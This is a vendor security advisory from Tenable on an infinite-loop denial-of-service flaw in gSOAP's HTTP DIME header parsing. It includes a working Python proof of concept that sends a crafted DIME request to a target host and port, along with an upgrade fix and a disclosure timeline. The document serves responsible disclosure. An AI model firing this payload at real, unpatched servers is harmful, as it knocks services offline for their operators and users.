Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] gSOAP HTTP DIME Parsing Denial of Service

Medium

Synopsis

While investigating Devil's Ivy, Tenable decided to set aside some time to fuzz gSOAP using american fuzzy lop. Tenable discovered that gSOAP is surprisingly resilient!

But no one is perfect. We uncovered an infinite loop in the HTTP server's DIME header parsing. DIME doesn't appear to be widely used across gSOAP deployments, but, when enabled, a remote unauthenticated user can force the HTTP server to become unresponsive. We wrote a proof of concept against gSOAP's sample dimeserver application.

import sys
import socket

if len(sys.argv) != 3:
    print 'Usage: ./dime_poc.py '
    sys.exit(0)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
sock.connect(server_address)

payload = '<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:dime"><SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><ns:getImage><name>image.jpg</name></ns:getImage></SOAP-ENV:Body></SOAP-ENV:Envelope>'
payload_length = bytearray.fromhex("{:08x}".format(len(payload)))

iloop = ('POST /~engelen/dimesrv.cgi HTTP/1.1\r\n'
'Host: test\r\n'
'User-Agent: gSOAP/2.8\r\n'
'Content-Type: application/dime\r\n'
'Connection: close\r\n'
'\r\n')
#start dime header
iloop += '\x0d\x3f\x00\x00\x00\x00\x00\x00'
iloop += payload_length
#end dime header
iloop += payload
#start new dime header
iloop += '\x0d\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x7f\xff\x2f\x3e'
# lawl
sock.sendall(iloop)

print sock.recv(4096)

sock.close()

Solution

Upgrade to gSOAP 2.8.53 or greater.

Disclosure Timeline

08-25-2017 - Submitted a ticket to try and get a vulnerability disclosure contact
08-26-2017 - Genivia asks for email info so they can set up a drop box to share info
08-26-2017 - Contact info provided
08-26-2017 - Automated response from Genivia
08-27-2017 - Genivia creates dropbox folder and requests information.
08-28-2017 - Tenable sends proof of concept and basic description of the infinite loop to Genivia via dropbox.
08-28-2017 - Genivia acks receipt and indicates a new release tomorrow or the day after
08-28-2017 - A lot of back and forth about assigning a CVE
09-07-2017 - Tenable notes that Genivia announced the vuln/patch

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]